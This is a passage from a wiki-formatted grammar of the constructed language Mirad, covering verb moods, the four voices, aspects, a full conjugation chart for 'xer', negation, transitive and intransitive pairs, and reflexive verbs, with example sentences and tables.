: Examples:
::* '''&lt;u&gt;Upu&lt;/u&gt; him!'''....''&lt;u&gt;Come&lt;/u&gt; here!'' ('''''imperative''''')
::* '''&lt;u&gt;Von upu&lt;/u&gt;!''' ....''&lt;u&gt;Don't come&lt;/u&gt;!'' ('''''negative imperative''''')
::* '''Ha edeb &lt;u&gt;fu&lt;/u&gt; teater et.''' ....''The king &lt;u&gt;would like&lt;/u&gt; to see you.'' ('''''conditional''''')
::* '''Ven at &lt;u&gt;su&lt;/u&gt; et, at &lt;u&gt;dolu&lt;/u&gt;.''' ....''If I &lt;u&gt;were&lt;/u&gt; you, I &lt;u&gt;would be&lt;/u&gt; quiet.'' ('''''conditional''''')
::* '''Van yeyt &lt;u&gt;ujaku&lt;/u&gt; be yeyta yexneadi.''' ....''May all you (women) &lt;u&gt;succeed&lt;/u&gt; in your careers.'' ('''''hortative''''')
::* '''Van yat &lt;u&gt;ijbu&lt;/u&gt; bay fyadil.''' ....''Let's &lt;u&gt;begin&lt;/u&gt; with a prayer.'' ('''''jussive''''')
::* '''Se kyitesa &lt;u&gt;van et puu&lt;/u&gt; jwa.''' ....''It's important &lt;u&gt;that you arrive&lt;/u&gt; early.'' ('''''subjunctive''''')
::* '''Se kyitesa &lt;u&gt;von et puu&lt;/u&gt; jwo.'''....''It's important &lt;u&gt;that you not arrive&lt;/u&gt; late.'' ('''''negative subjunctive''''')
: Hypothetical verb forms ending in '''-u''' can be interpreted in various ways, depending on the following syntactical patterns in the sentence:
::* Generally, if a verb form ending in '''-u''' begins a sentence and has no subject, then it is an IMPERATIVE (a command).  For example, '''Ipu!''', ''Go away!''.
::* If the verb form has a subject not preceded by the complementizers '''van''', '''ven''', or '''von''', then it is probably a conditional predicate like '''At fu per.'''....''I &lt;u&gt;would like&lt;/u&gt; to go.''.
::* If the subject of the verb is preceded by '''ven'''....''if'', then it is a conditional clause as in '''Ven at &lt;u&gt;su&lt;/u&gt; nasikat...'''....''If I &lt;u&gt;were&lt;/u&gt; a rich man.''.
::* If the subject is preceded by '''Van'''....''that/let/may'' or '''von'''....''don't'', then it is a hortative wish like '''Van et yagteju.'''....''May you live long.'' or a jussive suggestion like '''Van yat fyadilu.'''....''Let us pray.'' or a prohibition like '''Von tiliu his!'''....''Don't drink this!''.

=== Voices ===

: Mirad has four voices:
::* Active
::* Passive
::* Reflexive
::* Reciprocal.

==== Active Voice ====
: The default voice is active, i.e. the subject of the verb is doing the action.
::* '''At teata ha kyes.'''....''I saw the event.''

==== Passive Voice ====
: A verb form is converted from active to passive by inserting a '''w''' just after the stem of the verb form.  The past passive particle ending '''-waa''' is usually abbreviated to '''-wa''' (''done'' is '''xwa''').
: The following chart shows the distinction between active and passive voice of various verbs:
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:4.8em&quot;
|+ Contrasting Active and Passive Voice
! Verb Form !! Active !! Active&lt;br&gt;Example !! Passive !! Passive&lt;br&gt;Example
|-
!row=1| Infinitive 
| '''xer'''&lt;br&gt;''to do'' || '''At fe xer fi.'''&lt;br&gt;''I want to do well.'' || '''xwer'''&lt;br&gt;''to be done'' || '''Ese hyos xwer.'''&lt;br&gt;''There is nothing to be done.''
|-
!row=1| Present Participle 
| '''sexea'''&lt;br&gt;''constructing'' || '''Ha nunxob sexea hia tom...'''&lt;br&gt;''The firm constructing this building...''|| '''sexewa'''&lt;br&gt;''being constructed'' || '''His se sexewa.'''&lt;br&gt;''This is under construction.''
|-
!row=1| Present
| '''xe'''&lt;br&gt;''do/does'' ||'''At xe fi be tixam.'''&lt;br&gt;''I do well in school.'' || '''xwe'''&lt;br&gt;''is done'' || '''Huyenasi hoj xwe.'''&lt;br&gt;''Such things are never done.''
|-
!row=1| Past Participle
| '''xaa'''&lt;br&gt;''having done'' || '''Iyt, xaa hya iyta yex,...'''&lt;br&gt;''She, having done all her work,...'' ||'''xwa'''&lt;br&gt;''done'' || '''Hyas se xwa.'''&lt;br&gt;''Everything is done.''
|-
!row=1| Past 
| '''tojba'''&lt;br&gt;''killed'' || '''Duhot tojba hwut?'''&lt;br&gt;''Who killed that guy?'' || '''tojbwa'''&lt;br&gt;''was killed'' || '''Duhoj wit tojbwa?'''&lt;br&gt;''When was he killed?''
|-
!row=1| Hypothetical
| '''bakxu'''&lt;br&gt;''heal''   || '''Bakxu at!'''&lt;br&gt;''Heal me!'' || '''bakxwu'''&lt;br&gt;''be healed'' || '''Van iyt bakxwu.'''&lt;br&gt;''May she be healed.''
|}
: Intransitive verbs cannot be made passive.  For example, '''tajer'''....''to be born'' is intransitive (takes no object) and has no passive voice form.  However, the transitive verb '''tajber'''....''to bear, give birth'' can be passive, as in '''Ha tudet &lt;u&gt;tajbwa&lt;/u&gt; zajub.'''....''The child &lt;u&gt;was delivered&lt;/u&gt; yesterday'' (as opposed to '''Ha tudet &lt;u&gt;taja&lt;/u&gt; zajub.'''....''The child &lt;u&gt;was born&lt;/u&gt; yesterday.)''  Notice how this works with '''yijer''' (''to open''):
::* '''Ha mes yija.'''....''The door opened (by itself).'' (medio-passive)
::* '''Ha mes yijpa.'''....''The door came open.'' (dynamic medio-passive)
::* '''Yijbu ha mes.'''....''Open the door.'' (transitive active)
::* '''Ha mes yijbwa.'''....''The door was opened (by someone).'' (passive)
: Impassive verbs form their past particple with the ending '''ya''', but these forms are somewhat rare.  Here are some examples:
::* '''per'''....''to go'' -&gt; '''pya'''....''gone''
::* '''tajer'''....''to be born'' -&gt; '''tajya'''....''born'' (ex.'''Jesus tajya bi Marya.''''....''Jesus, born of Mary'')
::* '''tojer'''....''to die'' -&gt; '''tojya'''....''dead''
::* '''loteaser'''....''to disappear'' -&gt; '''loteasya'''....''disappeared'' (ex. '''Ha loteasya tobi be Arogem.'''....''the disappeared persons in Argentina.'')

==== Reflexive Voice ====
: A verb is made reflexive by prefixing the reflexive pronoun '''ut''' (''self''), for example:

::* '''tojber'''....''to kill'' &lt;big&gt;→&lt;/big&gt; '''uttojber'''....''to kill oneself''
::* '''vyilxer'''....''to wash'' &lt;big&gt;→&lt;/big&gt; '''utvyilxer'''....''to wash up''
::* '''teater'''....''to see'' &lt;big&gt;→&lt;/big&gt; '''utteater'''....''to see oneself''
::* '''yabler'''....''to lift'' &lt;big&gt;→&lt;/big&gt; '''utyabler'''....''to lift oneself'' → '''Utyablu!'''....''Lift yourself up!''
::* '''trer'''....''to know'' &lt;big&gt;→&lt;/big&gt; '''uttrer'''....''to know oneself'' → '''Uttru!'''....''Know thyself!''

==== Reciprocal Voice ====

: A verb is made reciprocal by prefixing the reciprocal pronoun '''hyuit'''....''one another'', for example:

::* '''tojber'''....''to kill'' &lt;big&gt;→&lt;/big&gt; '''hyuittojber'''....''to kill one another''
::* '''vyilxer'''....''to wash'' &lt;big&gt;→&lt;/big&gt; '''hyuitvyilxer'''....''to wash one another''
::* '''teater'''....''to see'' &lt;big&gt;→&lt;/big&gt; '''hyuitteater'''....''to see one another''

: Both the reflexive pronoun and reciprocal pronoun can be used as standalone objects.  However, the plural form '''yut''' is used if the subject is plural, for example:

::* '''Yit vyilxa &lt;u&gt;yut&lt;/u&gt;.'''....''They (f.) washed up. (= washed &lt;u&gt;selves&lt;/u&gt;).''
::* '''Ha twobeti dizeuda &lt;u&gt;hyuit&lt;/u&gt;.'''....''The boys laughed at &lt;u&gt;one another&lt;/u&gt;.''
: The word '''hyuit''' is a hybrid of '''hyit'''....''the same one'' combined with '''hyut'''....''the other one''.

==== Aspects Revisited ====

: Mirad verbs have the following aspects:

::* '''''Simple''''' -- this is the default aspect, shown above, i.e. non-progressive, non-perfect, non-imminent, and non-potential.
::* '''''Progressive''''' -- this is an aspect where the verb describes an on-going action or state spread over time.
::* '''''Perfect''''' -- this presents the action or state as anterior, or completed prior to another action or state.
::* '''''Immininent''''' -- this describes an action or state ''about to happen.''
::* '''''Potential''''' -- this refers to an action or state where something is ''possible''.

==== The Simple Aspect ====

: The following chart presents Mirad verbs in the Simple aspect.  In the active voice, the tense vowels '''a''', '''e''', '''o''', and '''u''' are affixed to the stem.  In the passive voice, the passive marker consonant '''w''' is inserted between the stem and the final tense vowels.  The simple present tense refers to actions or states that are habitual (''I regularly go to school.''), regular (''The earth revolves around the sun.''), or permanent (''Blue is a color.'').  The simple past refers to actions or states that occurred at a fixed point in time (''I did my homework last night.'').  The simple future refers to actions or states that will occur at some particular point in the future (''The sun will rise tomorrow at dawn.'').  The simple atemporal hypothetical ( = conditional) refers to an imagined action or state that has not be realized (''You would make a good president.'').
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Simple Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Simple !! Present !! Indicative 
| '''At x&lt;u&gt;e&lt;/u&gt;'''....''I do'' || '''Has x&lt;u&gt;we&lt;/u&gt;'''....''It is done''
|-
!row=1| Simple !! Past !! Indicative 
| '''At x&lt;u&gt;a&lt;/u&gt;'''....''I did'' || '''Has x&lt;u&gt;wa&lt;/u&gt;'''....''It was done''
|-
!row=1| Simple !! Future !! Indicative 
| '''At x&lt;u&gt;o&lt;/u&gt;'''....''I will do'' || '''Has x&lt;u&gt;wo&lt;/u&gt;'''....''It will be done''
|-
!row=1| Simple !! Atemporal !! Hypothetical 
| '''At x&lt;u&gt;u&lt;/u&gt;'''....''I would do''&lt;sup&gt;1&lt;/sup&gt; || '''Has x&lt;u&gt;wu&lt;/u&gt;'''....''It would be done''
|}
: 1: Absence of tense (Atemporal) + Hypothetical mood = '''''conditional'''''.

==== The Progressive Aspect ====

: The following chart presents Mirad verbs in the Progressive aspect.  The present tense vowel '''e''' followed by a buffer consonant, are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the active voice, or  '''w''' in the passive voice.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller; &quot;
|+ Progressive Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Progressive !! Present !! Indicative 
| '''at x&lt;u&gt;eye&lt;/u&gt;'''....''I am doing'' || '''Has x&lt;u&gt;ewe&lt;/u&gt;'''....''it is being done''
|-
!row=1| Progressive !! Past !! Indicative 
| '''at x&lt;u&gt;eya&lt;/u&gt;'''....''I was doing'' || '''Has x&lt;u&gt;ewa&lt;/u&gt;'''....''it was being done''
|-
!row=1| Progressive !! Future !! Indicative 
| '''at x&lt;u&gt;eyo&lt;/u&gt;'''....''I am going to be doing'' || '''Has x&lt;u&gt;ewo&lt;/u&gt;'''....''it will be happening''
|-
!row=1| Progressive !! Atemporal !! Hypothetical 
| '''at x&lt;u&gt;eyu&lt;/u&gt;'''....''I would be doing'' || '''Has x&lt;u&gt;ewu&lt;/u&gt;'''....''it would be happening''
|}

==== The Perfect Aspect ====

: The following chart presents Mirad verbs in the Perfect aspect.  The past tense vowel '''a''' following by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice.   

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Perfect Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Perfect !! Present !! Indicative 
| '''At x&lt;u&gt;aye&lt;/u&gt;'''....''I have done'' || '''Has x&lt;u&gt;awe&lt;/u&gt;'''....''It has been done''
|-
!row=1| Perfect !! Past !! Indicative 
| '''At x&lt;u&gt;aya&lt;/u&gt;'''....''I had done'' || '''Has x&lt;u&gt;awa&lt;/u&gt;'''....''It had been done''
|-
!row=1| Perfect !! Future !! Indicative 
|'''At x&lt;u&gt;ayo&lt;/u&gt;'''....''I will have done'' || '''Has x&lt;u&gt;awo&lt;/u&gt;'''....''It will have been done''
|-
!row=1| Perfect !! Atemporal !! Hypothetical 
| '''At x&lt;u&gt;ayu&lt;/u&gt;'''....''I would have done'' || '''Has x&lt;u&gt;awu&lt;/u&gt;'''....''It would have been done''
|}

==== The Imminent Aspect ====

: The following chart presents Mirad verbs in the Imminent aspect (sometimes referred to as the Prospective aspect).  The future tense vowel '''o''' following by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice. Not that only indicative mood imminent tenses are ever used.  

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Imminent Aspect
|-
! Aspect || Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Imminent !! Present !! Indicative 
| '''At x&lt;u&gt;oye&lt;/u&gt;'''....''I am about to do'' || '''Has x&lt;u&gt;owe&lt;/u&gt;'''....''It is about to be done''
|-
!row=1| Imminent !! Past !! Indicative 
| '''At x&lt;u&gt;oya&lt;/u&gt;'''....''I was about to do'' || '''Has x&lt;u&gt;owa&lt;/u&gt;'''....''It was about to be done''
|}

==== The Potential Aspect ====

: The following chart presents Mirad verbs in the Potential aspect.  The hypothetical vowel '''u''' followed by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice. The future potential and hypothetical potential aspects are never used. 

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Potential Aspect
|-
! ASPECT !! TENSE !! MOOD !! ACTIVE VOICE !! PASSIVE VOICE
|-
!row=1| Potential !! Present !! Indicative 
| '''At x&lt;u&gt;uye&lt;/u&gt;'''....''I am to do'' || '''Has x&lt;u&gt;uwe&lt;/u&gt;'''....''It is to be done, it is doable''
|-
!row=1| Potential !! Past !! Indicative 
| '''At x&lt;u&gt;uya&lt;/u&gt;'''....''I was to do'' || '''Has x&lt;u&gt;uwa&lt;/u&gt;'''....''It was to be done, it was doable''
|}

== Verb Conjugation Chart ==

: The following chart presents the totality of the Mirad affirmative verb conjugation system using the verb '''xer'''....''to do'' and its passive '''xwer'''....''to be done, happen''.  The rows beginning with a light blue background are finite forms, while those beginning with light green are non-finite forms.

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verb Conjugation Chart
|- valign=top
!rowspan=2| State !!rowspan=2| Mood !!rowspan=2| Aspect !!rowspan=2| Tense !! colspan=4|Voice
|-
! Active!!Passive
|-
! rowspan=16 style=&quot;background: lightblue;{{text default color}};&quot;|Finite !!rowspan=3| Indicative !!rowspan=4| Simple !! Present
| '''xe''' &lt;br&gt;''does''||'''xwe'''&lt;br&gt;''is done, happens''
|-
! Past
| '''xa''' &lt;br&gt;''did''||'''xwa'''&lt;br&gt;''was done, happened''
|-
!  Future
| '''xo''' &lt;br&gt;''will do''||'''xwo'''&lt;br&gt;''will be done, will happen''
|-
! Hypothetical|| 
| '''xu''' &lt;br&gt;''would do, do!''||'''xwu'''&lt;br&gt;''would be done, would happen, be done!''
|-
!rowspan=3| Indicative !!rowspan=4| Progressive !! Present 
| '''xeye'''&lt;br&gt;''is doing''||'''xewe'''&lt;br&gt;''is being done, is happening''
|-
!  Past 
| '''xeya''' &lt;br&gt;''was doing''||'''xewa'''&lt;br&gt;''was doing, was happening''
|-
!  Future 
| '''xeyo'''&lt;br&gt;''will be doing''||'''xewo'''&lt;br&gt;''will be happening''
|-
! Hypothetical|| 
| '''xeyu''' &lt;br&gt;''would be doing''&lt;br&gt;''be doing!''||'''xewu'''&lt;br&gt;''would be happening''
|-
!rowspan=3|Indicative !! rowspan=4| Perfect !! Present
| '''xaye''' &lt;br&gt;''has done''||'''xawe''' &lt;br&gt;''has been done, has happened''
|-
!   Past 
| '''xaya''' &lt;br&gt;''had done''||'''xawa'''&lt;br&gt;''had been done, had happened''
|-
!  Future 
| '''xayo''' &lt;br&gt;''will have done''||'''xawo''' &lt;br&gt;''will have been done, will have happened''
|-
! Hypothetical !! 
| '''xayu''' &lt;br&gt;''would have done''||'''xawu'''&lt;br&gt;''would have been done, would have happened''
|-
!rowspan=4| Indicative !! rowspan=2|Imminent !! Present
| '''xoye''' &lt;br&gt;''is about to do''||'''xowe'''&lt;br&gt;''is about to be done, is about to happen''
|-
! Past
| '''xoya'''&lt;br&gt;''was to be done'' ||'''xowa'''&lt;br&gt;''was to be done, was to happen''
|-
! rowspan=2|Potential !! Present
| '''xuye'''&lt;br&gt;''is supposed to do'' ||'''xuwe''' &lt;br&gt;''is supposed to happen''
|-
!  Past
| '''xuya''' &lt;br&gt;''was supposed to do''||'''xuwa'''&lt;br&gt;''was supposed to be done, was supposed to happen''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
! rowspan=2 style=&quot;background: lightgreen;{{Text default color}};&quot;|Infinitive !!  !! Simple !! rowspan=8|
| '''xer'''&lt;br&gt;''to do''||'''xwer'''&lt;br&gt;''to be done, to happen''
|-
! !! Perfect 
| '''xayer'''&lt;br&gt;''to have done''||'''xawer'''&lt;br&gt;''to have been done, to have happend''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
! rowspan=4 style=&quot;background: lightgreen;{{Text default color}};&quot;|Participle !! !! Progressive
| '''xea'''&lt;br&gt;''doing'' ||'''xewa'''&lt;br&gt;''being done, happening''
|-
!  !! Perfect
| '''xya''' &lt;br&gt;''having done''||'''xwa'''&lt;br&gt;''done, happened''
|-
!  !! Imminent
| '''xoa''' &lt;br&gt;''about to do''||'''xowa'''&lt;br&gt;''about to happen''
|-
!  !! Potential
| '''xua'''&lt;br&gt;''bound to do'' ||'''xuwa'''&lt;br&gt;''doable''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
!rowspan=2 style=&quot;background: lightgreen;{{Text default color}};&quot; |Gerund
!  !! Simple !!
| '''xen''' &lt;br&gt;''doing''||'''xwen''' &lt;br&gt;''being done, happening, event''
|-
!  !! Perfect !!
| '''xayen'''&lt;br&gt;''having done''||'''xawen'''&lt;br&gt;''having happened''
|}
: Note 1:  Intransitive verbs such as '''per''' ''to go'' have no passive forms.  An expression such as ''They are gone.'' would be translated as '''Yit se pya'''.

== Negative Forms ==
: All of the above verb forms are affirmative.  The indicative and conditional forms can be made negative by using the negative adverb '''voy''' (''not'', '' 'nt'', ''doesn't'', ''don't'').  Those forms that are subjunctive, jussive, or imperative ending in '''-u''' use the negative subordinate conjunction '''von''' (''don't'', ''let not'', ''lest''). 
: '''voy'''....''not'' 
::* '''At &lt;u&gt;voy&lt;/u&gt; te.'''....''I &lt;u&gt;don&lt;/u&gt;'t know.'' (indicative)
::* '''&lt;u&gt;Voy&lt;/u&gt; mamilo.'''....''It will &lt;u&gt;not&lt;/u&gt; rain.'' (indicative)
::* '''At &lt;u&gt;voy&lt;/u&gt; xu hus.'''....''I would &lt;u&gt;not&lt;/u&gt; do that.'' (conditional)
: '''von'''....''Let's not, don't, let it not''
::* '''&lt;u&gt;Von&lt;/u&gt; mamilu.'''....''&lt;u&gt;Let it not&lt;/u&gt; rain.'' (subjunctive)
::* '''&lt;u&gt;Von&lt;/u&gt; yat fuyaku.'''....''&lt;u&gt;Let&lt;/u&gt; us &lt;u&gt;not&lt;/u&gt; despair.'' (jussive)
::* '''&lt;u&gt;Von&lt;/u&gt; pu!'''....''&lt;u&gt;Don't&lt;/u&gt; go.'' (imperative)
: Participles, gerunds, and infinitives can be negated with the prefix '''o-''' (''un-, non-'').
::* '''tosea'''....''feeling'' -&gt; '''otosea'''....''unfeeling''
::* '''xwa'''....''done'' -&gt; '''oxwa'''....''undone''
::* '''teliwa'''....''eaten'' -&gt; '''oteliwa'''....''uneaten''
::* '''tejen'''....''living'' -&gt; '''otejen'''....''not living''
::* '''buen'''....''giving'' -&gt; '''obuen'''....''not giving''
::* '''buer'''....''to give'' -&gt; '''obuer'''....''not to give''
::* '''ter'''....''to know'' =&gt; '''oter'''....''not to know, i.e. to ignore''
: Partciples, gerunds, and infinitives can also be negated with the word '''voy'' (''not''), eg:
::* '''voy tea ha dud'''....''not knowing the answer''
::* '''gel voy tejea'''....''like not living''
::* '''av voy xen hes'''....''for not doing something''

== How to Express Certain English Tenses ==
: English speakers have some tenses that do not fit into the above schema, and so Mirad uses a combination of verbs to achieve the same sense:
::* The English tense ''I have been studying French for four years.'' is translated in Mirad by '''At saye tixea Ferad ji uwa jabi.''' (Mirad present perfect of '''ser''' (''to be'') + the present participle of the main verb, '''tixer'''.

::* The English tense ''I had been studying'' is translated in Mirad by '''At saya tixer''', the past perfect of the verb '''ser''' (''to be'') + the present participle of the main verb, '''tixer'''.

::* The English tense ''I am going to be starring in that role.'' is translated in Mirad by '''At dezdebeyo be hua dezgon.''' (Mirad future progressive).
 
::* The modern Black English tense ''Don't you be doing that.'' is handled in Mirad by '''Von et xeyu hus.''' (Mirad imperative progressive).

== Transitive vs. Intransitive Verbs ==
: Transitive verbs, which can take a direct object, oppose themselves to intransitive verbs, which do not take a direct object.  Some verbs are marked overtly for transitivity.

: Verbs that end in '''xer''' (''to do, -ify, -ize'') are by nature transitive, and often have intransitive counterparts in '''ser''' (''to be, become, -ify, -ize'').  Likewise, verbs ending in '''ber''' (''to put, take'') are transitive and have intransitive counterparts in '''per''' (''to go'').  Here are some examples:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Transitive vs. Intransitive
|-
!  Transitive !! Intransitive
|-
| '''xer'''....''do'' || '''ser'''....''be''
|-
| '''agxer'''....''grow (something)'' || '''agser'''....''grow (up)''
|-
| '''amxer'''....''heat, make hot'' || '''amser'''....''become hot, heat up''
|-
| '''puxer'''....''throw'' || '''puser'''....''jump''
|-
| '''per'''....''go'' || '''ber'''....''put''
|-
| '''aber'''....''put on'' || '''aper'''....''get on''
|-
| '''yaber'''....''raise'' || '''yaper'''....''rise''
|-
| '''poxer'''....''stop (something)'' || '''poser'''....''(come to a) stop''
|-
| '''yuber'''....''bring'' || '''yuper'''....''approach''
|-
| '''yeber'''....''insert'' || '''yeper'''....''enter''
|}

::* '''At &lt;u&gt;agxe&lt;/u&gt; vobi.'''....''I &lt;u&gt;grow&lt;/u&gt; [TRANSITIVE] plants.''
::* '''Ha vobi &lt;u&gt;agseye&lt;/u&gt; ig.'''....''The plants &lt;u&gt;are growing&lt;/u&gt; [INTRANSITIVE] fast.''

::* '''&lt;u&gt;Poxu&lt;/u&gt; ha pur!'''....''&lt;u&gt;Stop&lt;/u&gt; [TRANSITIVE] the car!''
::* '''Ha pur &lt;u&gt;posa&lt;/u&gt;.'''....''The car &lt;u&gt;stopped&lt;/u&gt; [INTRANSITIVE].''

::* '''At &lt;u&gt;yaba&lt;/u&gt; ha mis.'''....''I &lt;u&gt;raised&lt;/u&gt; [TRANSITIVE] the window.''
::* '''Ha amar &lt;u&gt;yapaye&lt;/u&gt;.'''....''The sun &lt;u&gt;has risen&lt;/u&gt; [INTRANSITIVE].''


=== Marking -jer Verbs for Transitivity ===

: Note the following verbs, whose stems end in '''j''' are hard to pronounce with intransitive '''s''' and transitive '''x''', so these two endings are placed with '''p''' and '''b''', respectively, although the presence of the '''p''' is optional, i.e. it's presence or absence can slightly change the meaning from static to dynamic, eg. '''tujer'''....''to sleep'' vs. '''tujper'''....''to fall asleep''.  The transitive forms can be either active or passive.

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Marking -jer Verbs for Transitivity
|-
! colspan=2|Intransitive !! colspan=2|Transitive
|-
! Static !! Dynamic !! Active !! Passive
|-
| '''Ha mes &lt;u&gt;yija&lt;/u&gt;'''&lt;br&gt;''The door &lt;u&gt;opened&lt;/u&gt;.'' || '''Ha nasyef &lt;u&gt;yijpa&lt;/u&gt;'''&lt;br&gt;''The purse &lt;u&gt;came open&lt;/u&gt;.'' || '''At &lt;u&gt;yijba&lt;/u&gt; ha mes.'''&lt;br&gt;''I &lt;u&gt;opened&lt;/u&gt; the door.'' || '''Ha mes &lt;u&gt;yijbwa&lt;/u&gt; bey yelput.'''&lt;br&gt;''The door &lt;u&gt;was opened&lt;/u&gt; by an intruder''
|-
| '''Ha mes &lt;u&gt;yuja&lt;/u&gt;.'''&lt;br&gt;''The door &lt;u&gt;closed&lt;/u&gt;.'' || '''Ha yanup &lt;u&gt;yujpa&lt;/u&gt;.'''&lt;br&gt;''The meeting &lt;u&gt;adjourned&lt;/u&gt;.'' || '''At &lt;u&gt;yujba&lt;/u&gt; ha mes.'''&lt;br&gt;''I &lt;u&gt;closed&lt;/u&gt; the door.''||'''Ha mes yeyfe &lt;u&gt;yujbwer&lt;/u&gt; ja sumjob.'''&lt;br&gt;''The door should &lt;u&gt;be closed&lt;/u&gt; by bedtime.''
|-
| '''Ha dezun &lt;u&gt;ijaye&lt;/u&gt;.'''&lt;br&gt;''The play &lt;u&gt;has started&lt;/u&gt;.''||'''Ha par &lt;u&gt;ijpa&lt;/u&gt; boy poys.'''&lt;br&gt;''The car &lt;u&gt;started up&lt;/u&gt; immediately.'' ||'''At &lt;u&gt;ijba&lt;/u&gt; ata tyal.'''&lt;br&gt;''I &lt;u&gt;started&lt;/u&gt; my meal.''||'''Ha tyal &lt;u&gt;ijbwa&lt;/u&gt; jwa.'''&lt;br&gt;''The meal &lt;u&gt;was started&lt;/u&gt; early.''
|-
| '''Ha dezun &lt;u&gt;ujaye&lt;/u&gt;.'''&lt;br&gt;''The play has &lt;u&gt;ended&lt;/u&gt;.''||'''Ata yex &lt;u&gt;ujpaye&lt;/u&gt;.'''&lt;br&gt;''My work &lt;u&gt;has come to an end&lt;/u&gt;.'' || '''A &lt;u&gt;ujba&lt;/u&gt; ha dyes.'''&lt;br&gt;''I &lt;u&gt;finished&lt;/u&gt; the book.''||'''Ha dyes hyoj &lt;u&gt;ujbwa&lt;/u&gt;.'''&lt;br&gt;''The book never &lt;u&gt;got finished&lt;/u&gt;.''
|-
| '''Ha tob &lt;u&gt;toja&lt;/u&gt; zomoj.'''&lt;br&gt;''The man &lt;u&gt;died&lt;/u&gt; yesterday evening.''||'''Ha tob &lt;u&gt;tojpa&lt;/u&gt;.'''&lt;br&gt;''The man &lt;u&gt;dropped dead.&lt;/u&gt;'' || '''Hot &lt;u&gt;tojba&lt;/u&gt; ha twob?'''&lt;br&gt;''Who &lt;u&gt;killed&lt;/u&gt; the man?''||'''Ha twob &lt;u&gt;tojbwa&lt;/u&gt; bey ita tayd.'''&lt;br&gt;''The man &lt;u&gt;was killed&lt;/u&gt; by his wife.''
|-
| '''&lt;u&gt;Teju&lt;/u&gt;.'''&lt;br&gt;''&lt;u&gt;Live!&lt;/u&gt;.''||'''&lt;u&gt;Tejpu!&lt;/u&gt;.'''&lt;br&gt;''&lt;u&gt;Come alive!&lt;/u&gt;.'' || '''Yat efe &lt;u&gt;tejber&lt;/u&gt; ha twob.'''&lt;br&gt;''We need to &lt;u&gt;revive&lt;/u&gt; the man.''||'''Ha twob yofwa &lt;u&gt;tejbwer&lt;/u&gt;.'''&lt;br&gt;''The man could not &lt;u&gt;be revived&lt;/u&gt;.''
|-
| '''Ha tobot &lt;u&gt;taja&lt;/u&gt; zojub.'''&lt;br&gt;''The baby &lt;u&gt;was born&lt;/u&gt; yesterday.'' || '''Hoj ha tobot &lt;u&gt;tajpo&lt;/u&gt;?'''&lt;br&gt;''When &lt;u&gt;will&lt;/u&gt; the baby &lt;u&gt;pop out&lt;/u&gt;?'' || '''Iyt &lt;u&gt;tajba&lt;/u&gt; awa twobot zojub.'''&lt;br&gt;''She &lt;u&gt;gave birth&lt;/u&gt; to a baby boy yesterday.''||'''Ha twobot &lt;u&gt;tajbwa&lt;/u&gt; jo eymoj.'''&lt;br&gt;''The baby boy was &lt;u&gt;birthed&lt;/u&gt; after midnight.''
|-
| '''At &lt;u&gt;tija&lt;/u&gt; jwe.'''&lt;br&gt;''I &lt;u&gt;woke up&lt;/u&gt; on time.''||'''It voy &lt;u&gt;tijpa&lt;/u&gt;.'''&lt;br&gt;''He did not &lt;u&gt;come to.&lt;/u&gt;.'' || '''At &lt;u&gt;tijbo&lt;/u&gt; et jwa.'''&lt;br&gt;''I will &lt;u&gt;wake (you) up&lt;/u&gt; early.''||'''At voy fe &lt;u&gt;tijbwo&lt;/u&gt; gra jwa.'''&lt;br&gt;''I don't want to &lt;u&gt;be woken&lt;/u&gt; too early.''
|-
| '''At &lt;u&gt;tujeya&lt;/u&gt;.'''&lt;br&gt;''I was &lt;u&gt;sleeping.&lt;/u&gt;''||'''At &lt;u&gt;tujpeya&lt;/u&gt;.'''&lt;br&gt;''I was &lt;u&gt;falling sleep&lt;/u&gt;.'' || '''At &lt;u&gt;tujbo&lt;/u&gt; it.'''&lt;br&gt;''I will &lt;u&gt;put (him) to sleep.&lt;/u&gt;.''||'''Ha tobot &lt;u&gt;tujbwo&lt;/u&gt; glojo.'''&lt;br&gt;''The baby &lt;u&gt;will be put to sleep&lt;/u&gt; soon.''
|}

== Reflexive Verbs ==
[[File:TWC Hokitika Gorge • Stewart Nimmo • MRD 1.jpg|thumb|]]
: Reflexive verbs, where the object refers back to the subject, work just as in English, where the object is a reflexive pronoun, eg.:

::* '''At tujboye aut.'''....''I am going to kill myself.''
::* '''Tru eut!'''....''Know thyself!''
::* '''It gobla iut bey goblar.'''....''He cut himself with a knife.''
::* '''Ot yefe yuxer out.'''....''One must help oneself.''

: Sometimes, verbs are reflexive lexically and incorporate the reflexivity in the actual verb form using '''ut''' as the prefix:

::* '''uttujber'''....''commit suicide (= self-kill)''
::* '''utboler'''....''support oneself (= self-support)''
::* '''utdider'''....''wonder (= self-ask)''

: Sometimes, verbs are used reflexively in Mirad even though they are used simply intransitively in English, eg.:

